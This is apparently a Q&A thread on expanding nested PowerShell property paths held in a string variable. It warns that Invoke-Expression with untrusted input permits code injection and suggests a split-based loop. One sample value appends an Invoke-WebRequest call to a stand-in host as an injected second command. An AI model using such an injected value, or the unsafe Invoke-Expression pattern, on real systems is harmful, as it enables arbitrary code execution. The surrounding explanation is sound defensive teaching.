Reputation: 2835
Suppose I have the following:
(Get-Date).psobject.Properties.Name
I can use a variable to access properties:
$x = Name
(Get-Date).psobject.Properties.$x
However, I cannot use $x to "expand" nested properties:
$x = 'psobject.Properties.Name'
(Get-Date).$x
Because in this case Powershell is treating $x as if the entire string is a literal property name.
I've found plenty of resources on different ways to access properties with special characters, but none on how one might do the opposite.
Is this possible? If not, why?
Upvotes: 6
Views: 2951
Reputation: 10044
An interesting feature of PowerShell is that you can have properties that contain a period. For example:
[pscustomobject]@{'a.b.c' = 'example'}
This means that in your question since $x
is string, (Get-Date).$x
won't be parsed in dot notation as separate property names. But as (Get-Date).'psobject.Properties.Name'
The lazy way around this is to use Invoke-Expression
to first build the string before evaluation.
$x = 'psobject.Properties.Name'
Invoke-Expression "(Get-Date).$x"
This is usually acceptable as long as the definition of $x
is a static value that you defined. But if something else sets the definition of $x
, you can get into a Bobby Tables situation with arbitrary code being executed. For example:
$x = 'psobject.Properties.Name; Invoke-WebRequest http://example.com/superdangerouscode!!!'
Invoke-Expression "(Get-Date).$x"
So if you can rely on your definition of $x
to be in a dot delimited notation, you could use the split()
method on dots to turn the value into an array to loop over.
$Date = (Get-Date)
$Properties = 'psobject.Properties.Name'.split('.')
$Properties | ForEach-Object {
if ($_ -ne $Properties[-1]) {
#iterate through properties
$Date = $Date.$_
} else {
#Output last value
$Date.$_
}
}
Upvotes: 8